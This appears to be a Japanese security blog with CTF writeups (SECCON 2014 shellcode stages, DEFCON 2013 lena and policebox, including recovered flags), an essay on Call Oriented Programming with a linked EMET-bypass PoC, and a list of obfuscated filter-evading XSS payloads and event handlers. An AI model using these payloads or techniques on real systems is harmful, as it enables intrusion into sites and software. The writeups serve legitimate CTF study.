読者です 読者をやめる 読者になる 読者になる

SECCON 2014 大阪大会 Writeup

あらすじ

ucqもいるしnewbieの優勝は確実!!!

って、ぇぇぇえええええ?!??!!?!

同点決勝のかるたで負けて準優勝!?!?!!

一体私たち、これからどうなっちゃうの〜?!!!?!!

 

困った

ということで、newbieは大阪大会で優勝できず、またもや決勝進出権を逃してしまった。

一体どういうことなんだ。

原因の半分には、参加できなかった僕のせいというのがあるだろう。。。

というわけで、僕が参加していたらどうなっていたか、ということも気になったので、mageさんに頼まれていたwriteupを書くことにした。

 

shellcode問題のすゝめ

そもそも、大阪大会でどのような問題が出たかを知らない人もたくさんいると思う。

一般的に、shellcode問題とは、問題自体がshellcodeの入力を受け付けていて、条件に合ったshellcodeであれば実行してくれるという中々親切な問題の事を言う。

なので、普通のexploitationの問題とはちょっと違う。

脆弱性を見つける段階などがない上に、基本はshellcodeを書くだけでいいのだ。

DEFCON本戦で「ROPだとpayloadの自由性が低い上に検知されやすいから、ROPでmmapを呼んだ後で実行するための、xorしながらflagを読み出すshellcode」とかとは、基本的に異なる。

まあ気になる人はDEFCON 2013予選のshellcode問題を全て解いてみるといい。

基本的にx86の問題であるから、皆さんでも十分に解けるはずだし、shellcode 400のpenserなんかは単純に難しいので、如何に自分のshellcode力が足りないかを痛感できると思う。

 

時間の計測

とりあえず、問題を入手したので、本番と同じ条件、環境で解いて見ることにした。

時間の計測はTwitterで呟きながら解くことで、大体の時系列と解くのにかかった時間を記録している。

 

大体23:02ちょうどに回答を開始した。

 

dist_package.tgzというファイルだけが配布されるので、とりあえず展開して中身を見てみると、各ステージごとの実行ファイル、xinetdのconfファイル、Cのソースコードが入ってあることが分かった。

とりあえず、実行できないと試しようがないので、サービスを立てることにした。

 

23:09、約7分でとりあえずサービスを立てることが出来た。

使ったPythonのscriptはこんな感じ。

gist40a3b7d2b0604667574b

どうでもいいけど、初めrange(0, 10)をrange(0, 9)にしていたので、stage09を解く時に直したりした。

 

さて、サービスを正常に立ち上げられたので、stage00.cを読んでみる。

案の定、SECCON 2013 本戦の2.kakuと全く同じ形式だった。

とりあえずchecksec.shに掛けてみる。

No RELRO、No canary found、NX disabled

ま、それが普通ですわな。

 

2.kakuは嫌というほどよく知っているので、ほとんどバイナリを読まずにとりあえず以下のアセンブリコードを書いた。

gist7906cf0f80932abd8cba

 

まあいわゆるstagerである。

全ての問題が同じ環境、コンパイラコンパイルされていると仮定して、freadによるNULL文字のread、バイナリ内でcall eaxされているという2つ性質を用いてかなり短く書いている。

聞く所によると、ucqはstagerを全く使わずにほとんど問題を解こうとしていたらしいが、明らかにstagerという短いshellcodeに全て統一したほうがかなりコストが小さく、手動で何らかの変更を加える際にも有利である。

また、実際に実行したいshellcodeを切り替える際にもとても便利なので、stubやmodule化とも言えるかもしれない。

stagerだけではファイルは読み出せないので、keyword.txtからflagを読み出す用のshellcodeを"生成"する。

SECUINSIDE CTF 2014の本戦の時に、shellcodeの手書きに手間取って、int03さんに怒られたので、反省してある程度shellcodeの生成については自動化している。

metasploitは遅いし使う気が全く起きない(もちろん手書きが出来ないのも論外なので、自動化に頼るすぎるのも良くない)。

ちなみにこんな感じ。

f:id:potetisensei:20141111030852p:plain

 

必要なshellcodeは出来上がったので、shellodeに対する制約が何もないstage00に対するexploitを書く。

gist2722c574ded55d489fa9

これが、開始後約12分でようやく1問。

 

stage01は全くソースコードを読まずに、stage00のコードを使いまわせそうな気がしたのでportだけ変えてみると、案の定読めたのでstage00.pyをコピーしてstage01.pyにする。

これがstage00を解いた大体20秒後。

 

stage02のソースコードを読む。

どうやらpushが制限されるらしいが、あの短いstagerではほとんど影響がない。

適当にadhoc.sをコピーしてadhoc02.sを書いた。

gist19b559082e8e3d38c192

 

stage01を解いて約2分後。ウケる。

 

stage03のソースコード読む。

/bin/shという文字列が含まれているとNGらしいが、そもそもstagerなので全く関係ない。

stage00のコードを使いまわして終わり。

stage02を解いて約1分後。ここら辺にもstagerの強みが出る。

 

stage04, 05のソースコードを読む。

どうやらint 0x80やsysenterを制限するらしい。

stage06, 07, 08のソースコードを読む。

どうやら命令長制限がかかって、それぞれちょうど命令長が8, 4, 2でなければならないらしい。

めんどくさそうなので後に回す。

 

stage09のソースコードを読む。

出た。短歌か。

それなら俳句もあるんだろうと思い、ざっとstage10 ~ 15にも目を通す。

どうやら9, 10, 14が緩い俳句系(命令がその幅で区切れればよい)で、13, 15は厳しい俳句系(命令長がちょうど5, 7, 5などでなければならない)らしい。

正直後者はめんどくさそうなので後にするが、12byteのstagerを使ってるので、前者は余裕である(適当にnopで埋めるだけ)。

 

gist794e75c56d8cc8b03db0

gistae073f825172a4de4087

冗長であることよ(笑)

stage03を解いてから約5分後だった。

 

stage10も当然すぐに書ける。

gist3af6c1ac281f85ab3f19

gistdd9cf713f778356e9bbd

stage09を解いてから約1分。

 

ここで、ちょっとstage11に寄り道する。

制約が面白くて、push系の命令とret系の命令のみが許可されている。

ちょっと考えをこじらせて、一瞬printfへのret2libcに持ち込もうかなどと考えたが、push esp; retをしろと言ってるようなものだった。

NX bit enabledだったら書式指定子をstackにpushしてprintfに飛ばないといけなかったかも。

 

gist0743a621061e53f72933

アタマが悪いのでこのたかが4行をバグらせて少し悩む。

gist5cbd7689844132091ef6

結局デバッグせずに修正。ちょっとタイムロスしたかも。

これがstage10を解いてから約7分後。

 

次の3分でstage14を通す。

giste9c73073a0ed8c60b63f

gist935f3570edabda13ca8c

 

8ヶ月前の自分はこんなものが解けなかったのかと思うと呆れる。

 

めんどくさいのが多くなってきたので、とりあえず一番初めの4, 5に戻る。

一度飛ばした時点で解決策は見えていて、単純にshellcode内で1byteずつ命令を書き込めばいいんだけど、アドレス計算がだるかったので飛ばしていた。

gist3d01cfefefcfa9aa6dd1

gist68eb0b79b33592dc1dc1

 

stage05についても、stage04のコードを使いまわして解けるので、一気に2つ解いたことになる。

これが大体stage14の7分後。やはりアドレス計算は少し時間かかる。

 

命令長制限系と厳しい俳句系どっちを取るか迷うが、まだ楽そうなので命令長制限の方を先に解くことにする。

実は2byte制限が最も楽で、stage02のコードを使いまわすだけでいい。

ちょっと迷っていたせいか、7分も時間をかけてしまった。

 

さて、4byte制限と8byte制限をどうするか、という話になってくる。

まあ、それぞれの制約に合わせて全く別のコードを書いてもいいが、使い回したい。

と思っていた時、最近shellcodeの自動化に関連してpythonアセンブラライブラリを書いていたので、x86のprefixの面白い特徴を調べたのを思い出した。

1命令に、repz repnzという相反するprefixを付けると、無視されて1度だけ命令実行される。

これを用いると、2byte制限用のコードに対してprefixを付けるだけで4byte, 8byte制限も解くことが出来る。

nasmに怒られてしまったので直接exploitコードに書いた。

gist490c1fe02d6e5bf3eb55

gist7842e2027c3441bb1834

体感では8と6,7の間に割と時間があったように思ったが、この間約2分であった。冴えてる。

 

残り3問になった所で調子に乗って風呂に入る。

この間約1時間。競技中に1時間もスマブラするつもりか。

 

再開して、stage15の"バイナリ"を見る。

stage00以外で初めてバイナリを開いた気がする。

stage15の制約はちょうど長さが7, 7, 7, 5な4命令だけでshellcodeを書くことであり、明らかにsyscallを呼ぶことすら出来ない。

ここで、ret2libcに帰着することを考える。

普段から気持ち悪いROPはよく書いているので、一瞬で道筋は見えた。

main関数のfreadでshellcodeに入力している所に飛ばせばいい。

少なくとも、入力後には制約を満たしているか確認するfilter関数を通るので、当然filter関数は失敗するから、exitに飛んでしまうが、RELROがないため、exitのGOT Overwriteを上手く用いることが出来る。

gist9a15bf0f28db843af094

ちょっと環境依存なコードを書いてしまったが、まあ問題ないだろう。

giste8ee4e81516c46cfa82e

socketのshutdownの存在を忘れていて、クソみたいな時間の取り方をしてしまった。

再開してから30分ぐらい使ってしまった。

 

stage15が解けたら下位互換的存在な13も一瞬で解ける。

gistebcca1f8894193914ba0

この間約2分。

 

これで全て解ききったつもりになっていたが、よく考えるとまだstage12を解いていない。

alpha numericなshellcodeを書く問題だった。

またか。

8ヶ月前もこれに苦戦したせいで時間が足りなかったのだ。

でも、今回は成長しているので大丈夫。

metasploitのコマンドはググれば分かる。成長している。

と思ったが、新しくインストールしたUbuntu14.04にはmetasploitを入れてなかった...

残り22分、Pythonのscriptでアセンブラを吐くコードを書くのが間に合うわけもなく...

撃沈。

僕も全完出来ませんでした。

newbieの皆さんすいません(この後5分ぐらいで12も解けました)。

終わり。

 

 

 

Call Oriented Programming

初めに

僕は自分の知識を全くの赤の他人に教えるということがそもそもあまり好きではない。

知人ややる気のある人なら喜んで教えるのだけれど、あまり不特定多数の人間に公表しようという気にはなれない。

何かとても強い理由がある、というわけでもなく、性格が悪いというだけなので、あまり気にしないで欲しい。

一応、ある程度Exploitation手法という分野に関しては知識と経験はある程度持っていると思っているし、今の意味不明なCTFブームを鑑みても、ももいろテクノロジーのような記事を書いたら喜ばれたのかもしれない。

でも単純にそれがめんどくさいので嫌だった。

 

さて、@ntddkReturn-oriented programming以後という記事を読んだ。

僕からすると引用先の論文のURL以外は既知の内容であった。

最後に紹介されているCOPもそうである、というか@ntddkに初めてCOPについて言及したのは僕である。

先ほど「論文のURL以外は」と言ったように、僕はあまり論文のサーベイはしないし、サーベイが上手くないので、「既になされている研究なのか」や「既に広く知れ渡っていることなのか」ということはあまり把握してない。

そもそも、僕は論文を読んでCOPを見つけたのではなく、自分でExploitを書いてる内に普通に身についていた物なので、勝手にCOPと呼んでいただけで、既に論文があるということは知らなかったし、無いなら無いで秘密にしておこうと思った。

しかし、既にCOPは論文内で少し言及されていて、このまま知れ渡るのも癪なので、COPと呼ばれるExploitation手法について少し紹介しようと思った。

この記事ではCOP以外の手法について詳しく述べるつもりはないので、それらについては他の文献を参照のこと。

 

紹介

Call Oriented Programming(COP)とは、Return Oriented Programming同様call命令をベースとして、命令gadgetの連鎖を起こし、期待する副作用を得るという攻撃手法である。

 

知っての通り、広義の意味でROPに含まれるReturn to libcがSolar Designerによって公開されて17年、Return Oriented Programmingがいくつかの場所で紹介されるようになって7年近くが経とうとしている。

近年になって、やっとROPに対するmitigation手法がいくつか考案され、実装されるようになってきた。

有名なもので言えば、ROPGuard, ひいてはEMETだろう。

Stack Pivot等の副産物的な攻撃手法等に対する対策もあり、まあ、ある一定の効果はあると思う(実はcall-retの対応の確認は、__libc_csu_init のような関数テーブルから関数を呼び出してくれるものさえあれば簡単に騙すことが出来るので、個人的にはStack Pivot以外のmitigationはほとんど意味をなしてない。それどころかパフォーマンスの都合上、Exploit検知は CreateProcess等の重要な関数にしか働いていないので、それまでに取り繕えばStack Pivot検知さえも回避してしまうことは実は可能であるのだが)。

少 なくとも、現在の一般的なアーキテクチャ上でプログラムもExploitもretという命令に依存してしまうことは当然と言えば当然であり、プログラムが retと等価な操作を行えつつ、Exploitがretを利用することは防いでしまうような対策が取られれば、Return Oriented Programmingは破綻する。

しかし、 retが「スタックの最も上に存在しているアドレスに対するpopとjmp」と同値であることは分かりきっており、ret命令が豊富に存在しており使い やすかったというだけで、ret命令がなくなってもなお、任意のアドレスにジャンプすることはjmp命令によって当然出来る。

この考え方に基づいて提案されているのがJOPである。

jmp命令による任意のアドレスジャンプで最もイメージしやすいのはjmp eaxのようなレジスタが指し示すアドレスへのジャンプであろうか。

これは、結局レジスタを任意の値にセットした状態でjmp eaxを呼び出せばretとほぼ同値な操作が出来るようになる(利用するアドレスの存在がスタック上にあるか、レジスタにあるかというだけである)。

 ここまで把握していれば、COPも存在しうるということがすぐに理解できるはずである。

何故なら、callは「あるアドレスのスタックに対するpushとそのアドレスへのjmp」と同値であるからだ。

よって「callした後で一度popを行うこと」でjmp命令とほぼ等価な操作を行うことが出来る。

 

利用目的

紹介ではROPやJOPと同様にCOPをジェネリックな手法として用いることが出来るということを説明した。

ここで、COPがJOPと異なる点は何かということが気になってくる。

COPはJOPと比べるとやや直感的でない上に、無駄な処理を増やしてしまうため、COPとJOPが同値な操作を行うことが出来る、というだけでは、あまり便利ではないのだ。

例えば、以下のようなコードブロックについて考えてみよう。

COP: Example 1

 

見ての通り、昔のx86Windowsバイナリで見られるような、関数呼び出し部である。

本来の使用法としては、当然esiにプログラム内で呼び出したい関数のアドレス、edx, eaxにはそれぞれ引数を与えるわけであるが、exploit内でgadgetとして用いる場合は違った見方が可能になる。

その1つとして、esiに1pop-ret gadget、edxに本当に自分が呼び出したいgadget、eaxには1つ前に呼び出したAPIの戻り値が入ってる状態でこのコードブロックに飛んだと仮定しよう。

まずcall esiされ、スタックにはこのコードブロックへのreturn addressがpushされ、1pop-ret gadgetへと飛ぶ。

1pop-ret gadgetでは、1度popした状態でret命令が実行されるから、popでコードブロックへのreturn addressがpopされ、edxに入っていた目的のgadgetへとreturnされる。

お分かりいただけただろうか。

つまり、一度関数の呼び出し部を経由して本来の目的のgadgetへとジャンプすることで、eaxをスタックにpushした状態にすることに成功するのだ。

 

このように、COPはROPではあり得なかった「スタックへのpush」という操作を可能にする場合がある。

 

 もちろん、これは呼び出し規約に依存するものであり、例えばレジスタ渡しであれば今言ったような「スタックへのpush」を実行することは出来ないだろう。

しかし、ret周辺に存在する命令しか利用できなかったROPに比べると、関数呼び出し部付近の命令を用いることの出来るCOPは確実に表現力が増す。

x64において、rdiやrsiを任意の値にするgadgetはほとんどと言っていいほど皆無であるが、COPを利用することでrdiやrsiを任意の値にした上で本来呼び出したい関数を呼び出すなどの使用法が考えられる。

 

 

また、jmp命令よりも、利用できる確率が高いという点で確実にJOPより利用できる機会は多いだろう。

最近はよく知られているが、__libc_csu_initのような関数テーブルから“関数を呼び出す”gadgetは、著名なコンパイラが吐くバイナリのほとんどに存在している。

従って、アドレスが既知なメモリ内の値を書き換えることが出来るならば、ほとんどの場合COPを用いることが出来るのである。

 

後はそもそも、ret命令が使えない場合というのが存在する。

x86, x64で言えば、ret命令前にleave命令が存在しており、スタック領域のアドレスが既知でない上にstack pivotによるstagerが利用できない場合、leave命令によってstack pointerがbase pointerに変わってしまうと、gadgetの連鎖を続けることが出来なくなるため、leaveが存在している箇所でのret命令ベースのgadgetの連鎖は不可能となる。

その場合においても、COPは基本的な制約さえ満たしてしまえば、まだある程度自由度の高いexploitが構築できる。

問題点としては、COPはROPが検知されうるような箇所のbypassにおいては有効であるが、pop命令を必要とする場合が多いため、ret命令自体が利用できない場合、COPも失敗する可能性はあるということである。

 

Proof of Concept

PoCとして、以下に1つWindowsのバイナリとexploitを載せる。

Dropbox - COP PoC

それ自身に欠点のないASLRはbypass出来ていないため、不完全なexploit codeではあるが、base addressとDLL内部のアドレスさえ合わせれば動くはずである。

このPoCはついでにEMET4.1をbypassするデモにもなっているので、Stack Pivot検知をどう回避しているか等も読むことが出来るなら分かると思う。

vuln.exeはVC++2010でStack Guard以外の特別なオプション無しでコンパイルしたものであり、脆弱性を含む自作プログラム内の命令は全く用いておらず、コンパイラが標準で吐き出した命令とidata上のAPIだけを利用している。

必要であれば、PoCコードの解説は書くつもりではいるが、大したことはしていないので、今のところ予定はない。

気合

onclick
onchange
onblur
onfocus
onkeydown
onkeypress
onmousedown
onmouseenter
onmouseleave
onmousemove
onmouseout
onmouseover
onmouseup
ondblclick
onselect
onpaste
onmousewheel
style="expression:expression(alert('XSS'))"
"><script>alert('XSS')</script>


hoge14
='constructorhoge14'.slice(84645-84645,84656-84645);hoge15='alerthoge14'.slice(84645-84645,84650-84645);hoge16='XSShoge14'.slice(84645-84645,84648-84645);[hoge14][hoge14](hoge15+'(\''+hoge16+'\')')()
 
hoge17='constructorhoge17'.substr(45998-45998,46009-45998);hoge18='alerthoge17'.substr(45998-45998,46003-45998);hoge19='XSShoge17'.substr(45998-45998,46001-45998);[hoge17][hoge17](hoge18+'(\''+hoge19+'\')')()
 
hoge20='constructorhogee'.replace('hogee','');hoge21='alerthogee'.replace('hogee','');hoge22='XSShogee'.replace('hogee','');[hoge20][hoge20](hoge21+'(\''+hoge22+'\')')()
 
hoge30=88831-88831;hoge31='cccchoge30'.split('')[hoge30]+'oooohoge30'.split('')[hoge30]+'nnnnhoge30'.split('')[hoge30]+'sssshoge30'.split('')[hoge30]+'tttthoge30'.split('')[hoge30]+'rrrrhoge30'.split('')[hoge30]+'uuuuhoge30'.split('')[hoge30]+'cccchoge30'.split('')[hoge30]+'tttthoge30'.split('')[hoge30]+'oooohoge30'.split('')[hoge30]+'rrrrhoge30'.split('')[hoge30];hoge32='aaaahoge30'.split('')[hoge30]+'llllhoge30'.split('')[hoge30]+'eeeehoge30'.split('')[hoge30]+'rrrrhoge30'.split('')[hoge30]+'tttthoge30'.split('')[hoge30];hoge33='XXXXhoge30'.split('')[hoge30]+'SSSShoge30'.split('')[hoge30]+'SSSShoge30'.split('')[hoge30];[hoge31][hoge31](hoge32+'(\''+hoge33+'\')')()
 
hoge41='constructorhoge41'['sl'+'ice'](82124-82124,82135-82124);hoge42='alerthoge41'['sl'+'ice'](82124-82124,82129-82124);hoge43='XSShoge41'['sl'+'ice'](82124-82124,82127-82124);[hoge41][hoge41](hoge42+'(\''+hoge43+'\')')()
 
hoge51='constructorhoge51'['sub'+'str'](48363-48363,48374-48363);hoge52='alerthoge51'['sub'+'str'](48363-48363,48368-48363);hoge53='XSShoge51'['sub'+'str'](48363-48363,48366-48363);[hoge51][hoge51](hoge52+'(\''+hoge53+'\')')()
 
hoge61='constructorhoge64'['rep'+'lace']('hoge64','');hoge62='alerthoge64'['rep'+'lace']('hoge64','');hoge63='XSShoge64'['rep'+'lace']('hoge64','');[hoge61][hoge61](hoge62+'(\''+hoge63+'\')')()
 
hoge90=62536-62536;hoge91='cccchoge90'['sp'+'lit']('')[hoge90]+'oooohoge90'['sp'+'lit']('')[hoge90]+'nnnnhoge90'['sp'+'lit']('')[hoge90]+'sssshoge90'['sp'+'lit']('')[hoge90]+'tttthoge90'['sp'+'lit']('')[hoge90]+'rrrrhoge90'['sp'+'lit']('')[hoge90]+'uuuuhoge90'['sp'+'lit']('')[hoge90]+'cccchoge90'['sp'+'lit']('')[hoge90]+'tttthoge90'['sp'+'lit']('')[hoge90]+'oooohoge90'['sp'+'lit']('')[hoge90]+'rrrrhoge90'['sp'+'lit']('')[hoge90];hoge92='aaaahoge90'['sp'+'lit']('')[hoge90]+'llllhoge90'['sp'+'lit']('')[hoge90]+'eeeehoge90'['sp'+'lit']('')[hoge90]+'rrrrhoge90'['sp'+'lit']('')[hoge90]+'tttthoge90'['sp'+'lit']('')[hoge90];hoge93='XXXXhoge90'['sp'+'lit']('')[hoge90]+'SSSShoge90'['sp'+'lit']('')[hoge90]+'SSSShoge90'['sp'+'lit']('')[hoge90];[hoge91][hoge91](hoge92+'(\''+hoge93+'\')')()
 
hoge71='const'+'ructor';hoge72=hoge71[hoge71]['fromChar'+'Code'];hoge73=hoge72(64951-64854,64962-64854,64955-64854,64968-64854,64970-64854,64894-64854,64893-64854,64942-64854,64937-64854,64937-64854,64893-64854,64895-64854);[hoge71][hoge71](hoge73)()
 
hoge81='constructorhoge81'['\u0073lice'](35767-35767,35778-35767);hoge82='alerthoge81'['\u0073lice'](35767-35767,35772-35767);hoge83='XSShoge81'['\u0073lice'](35767-35767,35770-35767);[hoge81][hoge81](hoge82+'(\''+hoge83+'\')')()
 
barr101='constructorbarr101'['\x73lice'](96665-96665,96676-96665);barr102='alertbarr101'['\x73lice'](96665-96665,96670-96665);barr103='XSSbarr101'['\x73lice'](96665-96665,96668-96665);[barr101][barr101](barr102+'(\''+barr103+'\')')()
 
barr111='constructorbarr111'['\163lice'](26385-26385,26396-26385);barr112='alertbarr111'['\163lice'](26385-26385,26390-26385);barr113='XSSbarr111'['\163lice'](26385-26385,26388-26385);[barr111][barr111](barr112+'(\''+barr113+'\')')()
 
barr121='constructor barr121'['\u0073ubstr'](38198-38198,38209-38198);barr122='alertbarr121'['\u0073ubstr'](38198-38198,38203-38198);barr123='XSSbarr121'['\u0073ubstr'](38198-38198,38201-38198);[barr121][barr121](barr122+'(\''+barr123+'\')')()
 
barr131='constructorbarr131'['\x73ubstr'](18916-18916,18927-18916);barr132='alertbarr131'['\x73ubstr'](18916-18916,18921-18916);barr133='XSSbarr131'['\x73ubstr'](18916-18916,18919-18916);[barr131][barr131](barr132+'(\''+barr133+'\')')()
 
barr141='constructorbarr141'['\163ubstr'](3873-3873,3884-3873);barr142='alertbarr131'['\163ubstr'](3873-3873,3878-3873);barr143='XSSbarr141'['\163ubstr'](3873-3873,3876-3873);[barr141][barr141](barr142+'(\''+barr143+'\')')()
 
barr151='constructorbarr154'['\u0072eplace']('barr154','');barr152='alertbarr154'['\u0072eplace']('barr154','');barr153='XSSbarr154'['\u0072eplace']('barr154','');[barr151][barr151](barr152+'(\''+barr153+'\')')()
 
barr161='constructorbarr164'['\x72eplace']('barr164','');barr162='alertbarr164'['\x72eplace']('barr164','');barr163='XSSbarr164'['\x72eplace']('barr164','');[barr161][barr161](barr162+'(\''+barr163+'\')')()
 
barr171='constructorbarr174'['\162eplace']('barr174','');barr172='alertbarr174'['\162eplace']('barr174','');barr173='XSSbarr174'['\162eplace']('barr174','');[barr171][barr171](barr172+'(\''+barr173+'\')')()
 
barr180=decodeURI('%63%6f%6e%73%74%72%75%63%74%6f%72');barr181=decodeURI('%61%6c%65%72%74%28%27%58%53%53%27%29');[][barr180][barr180](barr181)()


DEFCON CTF2013 lena writeup

DEFCON CTFの過去問を解いていきます。

binariesが欲しい方は前回の記事を参照してください。

 

最近サボリ気味だったので、少し気を引き締めるためにShellcode500を解きました。

と言っても、あまり良い問題では無いので、正直Shellcode400の方が面白くて難しかったのですが。

 

とりあえず、ひとつ言えることとしては、他のShellcodeの問題に比べて使用しているアルゴリズムが複雑で、C++のクラスを多用してることもあり、かなりサイズがでかいバイナリになっています。

したがって、本来ならちゃんとすべての処理を読むべきではあるんですが、C++のクラスやメソッドの名前から大体どのような処理であるかを予想して、読む手間を省きたいと思います。

 

JUNK

 

今回はかなり雑にCのコードに直しています。

しかし、それでもbmpの画像データを直接recvし、8pix × 8pixに区切ってそれぞれに離散コサイン変換を掛けて、得られたデータをリードソロモン符号による符号誤り訂正を行っているのだろうということはメソッドの名前から明らかになります(初め、ECC楕円曲線暗号だと思っていて意味不明でした。楕円曲線暗号は鍵の交換の仕方だけが要点なので、全く今回のデータには関係ないですね。頭がついていない。)。

 

さて、離散コサイン変換もリードソロモン符号も中途半端に理解する程度が私には限界なので、なんとか実装しなくても解けるような方法を考えましょう。

 

まず、DCTCoefficient::DecodeDCT(this, double *)によって返ってくる値が0か1であることに気づきます。

何故なら、AddDataBitの引数になっており、AddDataBit内では完全に1か0を期待して行われている計算が存在しているからです。

テスト用にlenaへ送信した真っ白い画像や、真っ黒い画像では、全て戻り値は0であり、8×8マス全ての色を乱数で決定した画像では、戻り値が1でした。

おそらく、これはエントロピーを計算して、ある閾値以上であれば1を返すのでしょうが、全く処理を読んでないので確信はありません。

とは言え、処理の外線をなぞれば、DCTCoefficient::DecodeDCTの戻り値が引数のdouble*の値のみに依存するのかどうかぐらいは分かるので、double*のみにしか依存しないのであれば、0を返すような画像と1を返すような画像をそれぞれ1つずつ用意してやれば、自由に値を操作出来るようになります。

 

次にリードソロモン符号の方ですが、Wikipediaの説明のみから推測するに、16byteの実データに対して、16byteの冗長データを付け加えることで、エラーの訂正が出来るようです。

この時、シンドロームの値が全て0であればエラーはないと判断されるようなので、

今回の場合、送りたいShellcodeをあまり訂正してほしくはないので計算されたシンドロームの値が全て0になるようにしたいわけです。

RS32_16::rs_syndrome内では、0ではなく、0xffがエラーがないと判断される値のようです。

イマイチどうなっているのか分かりませんが、行ってる処理としては同じようなので、深く考えないことにします。

 

さて、リードソロモン符号の実装は、少なくとも競技時間中に出来るようなものではないと思われるので、ライブラリなどでいいのが落ちてないか探しましょう。

Pythonのreedsoloというモジュールがかなり使えそうだったので、そちらを使うことにしました。

 

DEFCON Writeup lena

 

何故か冗長データが16byteだとdecodeが失敗するので、冗長データを17byteにして、Shellcodeで冗長データの1byte分をjmpすることでどうにかしました。

 

f:id:potetisensei:20140328141334p:plain

 

The key is: We're rather impressed at your performints

 

所要時間4時間28分。

やっぱりゲームしながらだと時間かかりますね。

無題

ブログ名が「死にたい」では不謹慎ではないかという声があったため「生きたい」に変更いたしました。

査読

査読:Dropbox - test.pdf

 

3/19 追記: 能登だでぃ子氏からの指摘を踏まえた修正

DEFCON CTF2013 policebox writeup

DEFCON CTFの過去問を解いていきます。

binariesが欲しい方は前回の記事を参照してください。

 

そろそろReversingの方も解いていきたいので、reversing 100を解きました。

実行ファイルとcoreファイルが与えられるわけですが、おそらくcoreファイル内に含まれている、「当時の環境」が重要なのでしょう。

coreファイル内のメモリ情報をメモリに格納して実行などが出来ると嬉しいわけですが、私が知っているrestoreコマンドではcoreファイルは少しrestoreが面倒くさいため、他のコマンドがないか探します。

gdb restore core exec」などで検索すると、recordコマンドというのが引っかかります(https://sourceware.org/ml/gdb/2009-10/msg00414.html)。

どうやら、3年ほど前に追加されたreverse debugに関連するコマンドのようですが、対応してるcoreファイルであれば、記録されている入力情報などを再現出来るらしいです。

さて、記録されている情報といえば、実行時の入力が怪しいので、getcharの後にbreakpointを仕掛けます。

poteti@ubuntu:~/training/policebox$ gdb policebox -c core -q
Reading symbols from /home/poteti/training/policebox/policebox...(no debugging symbols found)...done.
[New LWP 17170]

warning: .dynamic section for "/lib/i386-linux-gnu/libc.so.6" is not at the expected address (wrong library or version mismatch?)

warning: .dynamic section for "/lib/ld-linux.so.2" is not at the expected address (wrong library or version mismatch?)
Core was generated by `policebox'.
#0  0x08048621 in main ()
(gdb) record
Restored records from core file /home/poteti/training/policebox/core.
#0  0x08048621 in main ()
(gdb) b *0x08048695
Breakpoint 1 at 0x8048695
(gdb) c
Continuing.

Breakpoint 1, 0x08048695 in main ()
(gdb) p/c $al
$1 = 119 'w'

おお、確かに入力されていたみたいですね。

後は入力を全て取り出してやりましょう。

(gdb) while 1
 >p/c $al
 >c
 >end
$2 = 119 'w'

Breakpoint 1, 0x08048695 in main ()
$3 = 48 '0'

Breakpoint 1, 0x08048695 in main ()
$4 = 114 'r'

Breakpoint 1, 0x08048695 in main ()
$5 = 108 'l'

Breakpoint 1, 0x08048695 in main ()
$6 = 100 'd'

Breakpoint 1, 0x08048695 in main ()
$7 = 115 's'

Breakpoint 1, 0x08048695 in main ()
$8 = 46 '.'

Breakpoint 1, 0x08048695 in main ()
$9 = 119 'w'

Breakpoint 1, 0x08048695 in main ()
$10 = 48 '0'

Breakpoint 1, 0x08048695 in main ()
$11 = 114 'r'

Breakpoint 1, 0x08048695 in main ()
$12 = 115 's'

Breakpoint 1, 0x08048695 in main ()
$13 = 116 't'

Breakpoint 1, 0x08048695 in main ()
$14 = 46 '.'

Breakpoint 1, 0x08048695 in main ()
$15 = 107 'k'

Breakpoint 1, 0x08048695 in main ()
$16 = 51 '3'

Breakpoint 1, 0x08048695 in main ()
$17 = 121 'y'

Breakpoint 1, 0x08048695 in main ()
$18 = 108 'l'

Breakpoint 1, 0x08048695 in main ()
$19 = 48 '0'

Breakpoint 1, 0x08048695 in main ()
$20 = 103 'g'

Breakpoint 1, 0x08048695 in main ()
$21 = 103 'g'

Breakpoint 1, 0x08048695 in main ()
$22 = 101 'e'

Breakpoint 1, 0x08048695 in main ()
$23 = 114 'r'

Breakpoint 1, 0x08048695 in main ()
$24 = 33 '!'

 

key is: w0rlds.w0rst.k3yl0gger!

所要時間30分。

これはgdb使えないと解けなかっただろうな...